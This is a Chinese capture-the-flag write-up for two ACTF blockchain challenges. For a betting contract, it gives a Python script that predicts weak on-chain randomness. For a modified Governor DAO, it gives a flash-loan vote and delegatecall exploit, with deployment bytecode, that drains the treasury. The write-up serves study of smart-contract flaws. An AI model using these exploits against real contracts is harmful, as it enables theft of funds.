XCTF-ACTF 部分区块链题目

admin 2022年7月6日19:49:46评论60 views字数 31957阅读106分31秒阅读模式

bet2loss

这道题目是一个经典猜数游戏,通过猜20次未来可预测随机数来获得足够的钱数。
但我们发现附件里竟然还给了一个docker,随手npm audit一下。
发现了一个Web3库含有的 Unix socket 的洞,但是搜了搜没找到相关的漏洞详解,然后就放弃了从web来打这题。最后就用传统合约恩打了。
分析一下合约源码:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract BetToken {
    /* owner */
    address owner;
    /* token related */
    mapping(address => uint256) public balances;

    /* random related */
    uint256 nonce;
    uint256 cost;
    uint256 lasttime;
    mapping(address => bool) public airdroprecord;
    mapping(address => uint256) public logger;

    constructor() {
        owner = msg.sender;
        balances[msg.sender] = 100000;
        nonce = 0;
        cost = 10;
        lasttime = block.timestamp;
    }

    function seal(address to, uint256 amount) public {
        require(msg.sender == owner, "you are not owner");
        balances[to] += amount;
    }

    function checkWin(address candidate) public {
        require(msg.sender == owner, "you are not owner");
        require(candidate != owner, "you are cheating");
        require(balances[candidate] > 2000, "you still not win");
        balances[owner] += balances[candidate];
        balances[candidate] = 0;
    }

    function transferTo(address to, uint256 amount) public pure {
        require(amount == 0, "this function is not impelmented yet");
    }

    function airdrop() public {
        require(
            airdroprecord[msg.sender] == false,
            "you already got your airdop"
        );
        airdroprecord[msg.sender] = true;
        balances[msg.sender] += 30;
    }

    function bet(uint256 value, uint256 mod) public {
        address _addr = msg.sender;
        // make sure pseudo-random is strong
        require(lasttime != block.timestamp);
        require(mod >= 2 && mod <= 12);
        require(logger[msg.sender] <= 20);
        logger[msg.sender] += 1;

        require(balances[msg.sender] >= cost);
        // watchout, the sender need to approve such first
        balances[msg.sender] -= cost;

        // limit
        value = value % mod;

        // not contract
        uint32 size;
        assembly {
            size := extcodesize(_addr)
        }
        require(size == 0);

        // rnd gen
        uint256 rand = uint256(
            keccak256(
                abi.encodePacked(
                    nonce,
                    block.timestamp,
                    block.difficulty,
                    msg.sender
                )
            )
        ) % mod;
        nonce += 1;
        lasttime = block.timestamp;

        // for one, max to win 12 * 12 - 10 == 134
        // if 20 times all right, will win 2680
        if (value == rand) {
            balances[msg.sender] += cost * mod;
        }
    }
}

我们可以看到bet函数里面需要计算的有下列内容
{nonce,
block.timetamp,
block.difficulty,
msg.sender}
那么这里我们已知的内容是nonce(通过web3获取),block.difficulty为2,
msg.sender就是我们的address。
那么唯独不好搞的就是block.timestamp了。但是通过部署几个测试合约后我们可以发现他应该是POA链,每次块与块之间生成间隔时间大概是30s。我用一个块做为基准,然后来计算当前的时间戳。

from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
import time
from eth_abi import encode_abi
from eth_abi.packed import encode_abi_packed
web3=Web3(HTTPProvider("http://123.60.36.208:8545"))
print(web3.isConnected())
acct= web3.eth.account.from_key('private_Key')
print(acct.address)
game_address="0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7"
def deploy(rawTx):
    signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey)
    hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
    receipt = web3.eth.waitForTransactionReceipt(hashTx)
    #print(receipt)
    return receipt
def int2bytes32(a):
    return long_to_bytes(a).rjust(32,b'\x00')
if __name__ == '__main__':
    airdrop = {
        'from': acct.address,
        'to': game_address,
        'nonce': web3.eth.getTransactionCount(acct.address),
        'gasPrice': web3.toWei(1, 'gwei'),
        'gas': 487260,
        'value': web3.toWei(0, 'ether'),
        'data': "0x3884d635",
        "chainId": 6666
    }
    info=deploy(airdrop)
    print(info)
    print("[+]AirDrop OKKK")
    for i in range(0,20):
        num=bytes_to_long(web3.eth.getStorageAt("0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7",2))
        diffcult=2
        now_block=web3.eth.block_number()
        temp_block=871
        temp_time=1656141740
        now_time=(now_block-temp_block+1)*30+temp_time
        guess_num=bytes_to_long(Web3.keccak(encode_abi_packed(['uint256','uint','uint','address'],[num,now_time,diffcult,acct.address])))%12
        guess_data='0x6ffcc719{}000000000000000000000000000000000000000000000000000000000000000c'.format(hex(guess_num)[2:].rjust(64,'0'))
        rawTx1 = {
            'from': acct.address,
            'nonce': web3.eth.getTransactionCount(acct.address),
            'to': game_address,
            'gasPrice': web3.toWei(1, 'gwei'),
            'gas': 487260,
            'value': web3.toWei(0, 'ether'),
            'data': guess_data,
            "chainId": 6666
        }
        info=deploy(rawTx1)
        print(info)
        if info['status']!=1:
            print("Bet Failed")
        slot = Web3.keccak(encode_abi(['address'], [acct.address]) + int2bytes32(1))
        print('[-] balance ' + str(web3.eth.getStorageAt("0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7", slot)))
        print("[+]Over {}/20".format(str(i)))
        lasttime=bytes_to_long(web3.eth.getStorageAt(game_address,4))
        print(lasttime,now_time)
        time.sleep(30)

最后在 web端getflag的地方修改下address就可以了。

AAADAO

这是一个代币合约题,为数不多遇到过的代币题。一般代币题目没有明显的基于EVM上的漏洞。都是各种各样的功能组合了实现了一些东西。
本题有几个东西需要深入分析。Deploy合约

import "./Gov.sol";
import "./Token.sol";

contract Deployer{

    event Deploy(address token, address gov);

    function init() external returns(address,address) {
        AAA token=new AAA();
        Gov gov=new Gov(IVotes(token));
        token.transfer(address(gov),token.balanceOf(address(this)));

        emit Deploy(address(token), address(gov));

        return (address(token),address(gov));
    }
}

这里是new了一个代币AAA标准合约,还有一个Gov合约。
然后AAA代币合约把所有的铸出来的币都转给了Gov。我们的目标是把Gov余额清空。
观察目录结构:
XCTF-ACTF 部分区块链题目
/token下是一些ERC代币标准。我们可以发现goverance应该是本defi 的重点。
通过上网查询我们可知,这是一种治理规则。
而治理规则中定义了一种发起提案的方法,就相当于一个议会,所以参议员可以针对此进行投票。如果投票成功就可以执行提案。
然后在Gov这个合约中定义了提案的开始投票时间、持续时长

    function votingDelay() publi    c pure override returns (uint256) {
        return 10; // 1 day
    }

    function votingPeriod() public pure override returns (uint256) {
        return 46027; // 1 week
    }

分别是10个区块和46027个区块。也就是从(10,46028]区块都是可以进行投票的。这个时候我们考虑去官网找官方实现goverance的代码进行diff。

diff --git a/contracts/governance/Governor.sol b/contracts/governance/Governor.sol
index 239b7fb..d60023c 100644
--- a/contracts/governance/Governor.sol
+++ b/contracts/governance/Governor.sol
@@ -128,7 +128,7 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
      * Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the
      * same proposal (with same operation and same description) will have the same id if submitted on multiple governors
      * across multiple networks. This also means that in order to execute the same operation twice (on the same
-     * governor) the proposer will have to change the description in order to avoid proposal id conflicts.
+     * governorx) the proposer will have to change the description in order to avoid proposal id conflicts.
      */
     function hashProposal(
         address[] memory targets,
@@ -207,6 +207,9 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
      */
     function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);

+    function _quorumReachedEmergency(uint256 proposalId) internal view virtual returns (bool);
+    function _voteSucceededEmergency(uint256 proposalId) internal view virtual returns (bool);
+
     /**
      * @dev Get the voting weight of `account` at a specific `blockNumber`, for a vote as described by `params`.
      */
@@ -283,6 +286,31 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
         return proposalId;
     }

+    function emergencyExecuteRightNow(
+        address[] memory targets,
+        uint256[] memory values,
+        bytes[] memory calldatas,
+        bytes32 descriptionHash
+    ) public payable virtual override returns (uint256) {
+        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
+
+        ProposalState status = state(proposalId);
+        require(status == ProposalState.Active);
+
+        if (_quorumReachedEmergency(proposalId) && _voteSucceededEmergency(proposalId)) {
+            _proposals[proposalId].executed = true;
+
+            emit ProposalExecuted(proposalId);
+
+            _beforeExecute(proposalId, targets, values, calldatas, descriptionHash);
+            _execute(proposalId, targets, values, calldatas, descriptionHash);
+            _afterExecute(proposalId, targets, values, calldatas, descriptionHash);
+        }else{
+            revert("not allowed");
+        }
+        return proposalId;
+    }
+
     /**
      * @dev See {IGovernor-execute}.
      */
@@ -320,10 +348,9 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
         bytes[] memory calldatas,
         bytes32 /*descriptionHash*/
     ) internal virtual {
-        string memory errorMessage = "Governor: call reverted without message";
         for (uint256 i = 0; i < targets.length; ++i) {
-            (bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
-            Address.verifyCallResult(success, returndata, errorMessage);
+            (bool success,)=targets[i].delegatecall(calldatas[i]);
+            require(success,"Call Failed");
         }
     }

diff --git a/contracts/governance/IGovernor.sol b/contracts/governance/IGovernor.sol
index 47a8316..8960373 100644
--- a/contracts/governance/IGovernor.sol
+++ b/contracts/governance/IGovernor.sol
@@ -209,6 +209,14 @@ abstract contract IGovernor is IERC165 {
      *
      * Note: some module can modify the requirements for execution, for example by adding an additional timelock.
      */
+
+    function emergencyExecuteRightNow(
+        address[] memory targets,
+        uint256[] memory values,
+        bytes[] memory calldatas,
+        bytes32 descriptionHash
+    ) public payable virtual returns (uint256 proposalId);
+
     function execute(
         address[] memory targets,
         uint256[] memory values,
diff --git a/contracts/governance/extensions/GovernorCountingSimple.sol b/contracts/governance/extensions/GovernorCountingSimple.sol
index ce28aa3..657f050 100644
--- a/contracts/governance/extensions/GovernorCountingSimple.sol
+++ b/contracts/governance/extensions/GovernorCountingSimple.sol
@@ -79,6 +79,25 @@ abstract contract GovernorCountingSimple is Governor {
         return proposalvote.forVotes > proposalvote.againstVotes;
     }

+    function _quorumReachedEmergency(uint256 proposalId) internal view virtual override returns (bool) {
+        ProposalVote storage proposalvote = _proposalVotes[proposalId];
+
+        //return true;
+
+        return quorum(proposalSnapshot(proposalId)) *2 <= proposalvote.forVotes + proposalvote.abstainVotes;
+    }
+
+    /**
+     * @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be strictly over the againstVotes.
+     */
+    function _voteSucceededEmergency(uint256 proposalId) internal view virtual override returns (bool) {
+        ProposalVote storage proposalvote = _proposalVotes[proposalId];
+
+        //return true;
+
+        return proposalvote.forVotes > proposalvote.againstVotes*2;
+    }
+
     /**
      * @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).
      */

可以发现这里新加入了一个emergencyExcute的执行方法。它可以在满足一个投票数量条件的情况下直接执行提案。条件就是diff中写的_quorumReachedEmergency,_voteSucceededEmergency
主要说的就是投票的个数。而投票个数是从getVotes()来的。基本就完全和个人账户所拥有的token数量有关,可以视为董事会投票,谁占有的股权更多那么就更有力。
那么发起提案可以做什么

 function propose(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    ) public virtual override returns (uint256) {
        require(
            getVotes(_msgSender(), block.number - 1) >= proposalThreshold(),
            "Governor: proposer votes below proposal threshold"
        );

        uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));

        require(targets.length == values.length, "Governor: invalid proposal length");
        require(targets.length == calldatas.length, "Governor: invalid proposal length");
        require(targets.length > 0, "Governor: empty proposal");

        ProposalCore storage proposal = _proposals[proposalId];
        require(proposal.voteStart.isUnset(), "Governor: proposal already exists");

        uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();
        uint64 deadline = snapshot + votingPeriod().toUint64();

        proposal.voteStart.setDeadline(snapshot);
        proposal.voteEnd.setDeadline(deadline);

        emit ProposalCreated(
            proposalId,
            _msgSender(),
            targets,
            values,
            new string[](targets.length),
            calldatas,
            snapshot,
            deadline,
            description
        );

        return proposalId;
    }

   function execute(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        bytes32 descriptionHash
    ) public payable virtual override returns (uint256) {
        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);

        ProposalState status = state(proposalId);
        require(
            status == ProposalState.Succeeded || status == ProposalState.Queued,
            "Governor: proposal not successful"
        );
        _proposals[proposalId].executed = true;

        emit ProposalExecuted(proposalId);

        _beforeExecute(proposalId, targets, values, calldatas, descriptionHash);
        _execute(proposalId, targets, values, calldatas, descriptionHash);
        _afterExecute(proposalId, targets, values, calldatas, descriptionHash);

        return proposalId;
    }

propose发起的提案在同意之后可以在excute中执行。before和after主要是用来检查输入消息的。

    function _execute(
        uint256, /* proposalId */
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        bytes32 /*descriptionHash*/
    ) internal virtual {
        for (uint256 i = 0; i < targets.length; ++i) {
            (bool success,)=targets[i].delegatecall(calldatas[i]);
            require(success,"Call Failed");
        }
    }

这里允许执行一个delegatecall 这里他需要检查一个delegatecall的回调。我们需要让他call我们定义的外部合约。在外部合约里调用token的transfer(),这样我们是以Gov的身份在调用token的转账所以可以把钱转走了。
那么这里也可以了。问题就在于怎么投票来通过提案了。
在Token里我们发现它实现了一个flashLoan,那么这时候整个攻击链就都有了。
首先由于提案需要延迟进行。我们先进行提案。
Propose=>等待十个区块时间=>flashLoan进行借贷,在onFlashLoan中需要实现的内容是:首先delegate()加入提案投票,从而有投票权,castVote()进行投票。然后调用emergency来瞬间执行提案。 这里提案就是Gov将钱转给我们用来归还闪电贷产生的借贷利息。
有几个细节是转账的时候要approve来进行转账金额调整。
给出Python的exp了:

from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
import time
from eth_abi import encode_abi
from eth_abi.packed import encode_abi_packed
web3=Web3(HTTPProvider("http://123.60.90.204:8545/"))
print(web3.isConnected())
acct= web3.eth.account.from_key('PrivateKey')
print(acct.address)
def deploy(rawTx):
    signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey)
    hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
    receipt = web3.eth.waitForTransactionReceipt(hashTx)
    #print(receipt)
    return receipt

if __name__ == '__main__':
    rawTx = {
        'from': acct.address,
        'to':"0x42Edb97227435bbBa12aE3e26DF8c5AEE2b3F4b6",
        'nonce': web3.eth.getTransactionCount(acct.address),
        'gasPrice': web3.toWei(1, 'gwei'),
        'gas': 3007260,
        'value': web3.toWei(0, 'ether'),
        'data': "0x608060405273dd9ee6eb7648fb753ee689f51f4819793286683a6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e603c06e570ea309b91862d06e0a8e4ae1439324600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b204fce5e3e250261100000006004556a52b7d2dcc80cd2e40000006005557f439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9600755348015620000fd57600080fd5b506040516200010c9062000597565b604051809103906000f08015801562000129573d6000803e3d6000fd5b50600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630600554604051602401620001a39392919062000903565b6040516020818303038152906040527ffd9ba018000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506003908051906020019062000237929190620005a5565b50620002486200024e60201b60201c565b62000bf3565b6000600167ffffffffffffffff8111156200026e576200026d62000b94565b5b6040519080825280602002602001820160405280156200029d5781602001602082028036833780820191505090505b509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110620002da57620002d962000b65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff81111562000334576200033362000b94565b5b604051908082528060200260200182016040528015620003635781602001602082028036833780820191505090505b5090506000816000815181106200037f576200037e62000b65565b5b6020026020010181815250506000600167ffffffffffffffff811115620003ab57620003aa62000b94565b5b604051908082528060200260200182016040528015620003e057816020015b6060815260200190600190039081620003ca5790505b50905060038054620003f29062000b00565b80601f0160208091040260200160405190810160405280929190818152602001828054620004209062000b00565b8015620004715780601f10620004455761010080835404028352916020019162000471565b820191906000526020600020905b8154815290600101906020018083116200045357829003601f168201915b5050505050816000815181106200048d576200048c62000b65565b5b602002602001018190525060006040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d5e81e2858585856040518563ffffffff1660e01b815260040162000535949392919062000940565b602060405180830381600087803b1580156200055057600080fd5b505af115801562000565573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200058b91906200066c565b60068190555050505050565b61034e806200209383390190565b828054620005b39062000b00565b90600052602060002090601f016020900481019282620005d7576000855562000623565b82601f10620005f257805160ff191683800117855562000623565b8280016001018555821562000623579182015b828111156200062257825182559160200191906001019062000605565b5b50905062000632919062000636565b5090565b5b808211156200065157600081600090555060010162000637565b5090565b600081519050620006668162000bd9565b92915050565b60006020828403121562000685576200068462000bc3565b5b6000620006958482850162000655565b91505092915050565b6000620006ac8383620006e8565b60208301905092915050565b6000620006c683836200085f565b905092915050565b6000620006dc8383620008e1565b60208301905092915050565b620006f38162000a8c565b82525050565b620007048162000a8c565b82525050565b60006200071782620009d9565b62000723818562000a37565b93506200073083620009a9565b8060005b83811015620007675781516200074b88826200069e565b9750620007588362000a10565b92505060018101905062000734565b5085935050505092915050565b60006200078182620009e4565b6200078d818562000a48565b935083602082028501620007a185620009b9565b8060005b85811015620007e35784840389528151620007c18582620006b8565b9450620007ce8362000a1d565b925060208a01995050600181019050620007a5565b50829750879550505050505092915050565b60006200080282620009ef565b6200080e818562000a59565b93506200081b83620009c9565b8060005b8381101562000852578151620008368882620006ce565b9750620008438362000a2a565b9250506001810190506200081f565b5085935050505092915050565b60006200086c82620009fa565b62000878818562000a6a565b93506200088a81856020860162000aca565b620008958162000bc8565b840191505092915050565b6000620008ad8262000a05565b620008b9818562000a7b565b9350620008cb81856020860162000aca565b620008d68162000bc8565b840191505092915050565b620008ec8162000ac0565b82525050565b620008fd8162000ac0565b82525050565b60006060820190506200091a6000830186620006f9565b620009296020830185620006f9565b620009386040830184620008f2565b949350505050565b600060808201905081810360008301526200095c81876200070a565b90508181036020830152620009728186620007f5565b9050818103604083015262000988818562000774565b905081810360608301526200099e8184620008a0565b905095945050505050565b6000819050602082019050919050565b60008190506020820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        "chainId": 6789
    }
    temp=deploy(rawTx)
    print(temp)
    blocknum=temp['blockNumber']
    while True:
        now_block=web3.eth.block_number()
        print(now_block)
        if now_block-blocknum>10:
            rawTx2 = {
        'from': acct.address,
        'to':"0x42Edb97227435bbBa12aE3e26DF8c5AEE2b3F4b6",
        'nonce': web3.eth.getTransactionCount(acct.address),
        'gasPrice': web3.toWei(1, 'gwei'),
        'gas': 3007260,
        'value': web3.toWei(0, 'ether'),
        'data': "0xd336c82d",
        "chainId": 6789
    }
            print(deploy(rawTx2))

总结

本次ACTF中的赛题质量非常高,其中第二个区块链是魔改了geth中的evm指令,其实已经逆出来合约了,但是合约逆向还是很难(x 并且就算把源码发了其中的密码学challenge也很难。其余的两个区块链题中也各有自己的创新点。非常感谢大师傅们带来的优质赛题。

FROM:tttang . com

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  • 本文由 发表于 2022年7月6日19:49:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XCTF-ACTF 部分区块链题目https://cn-sec.com/archives/1161340.html

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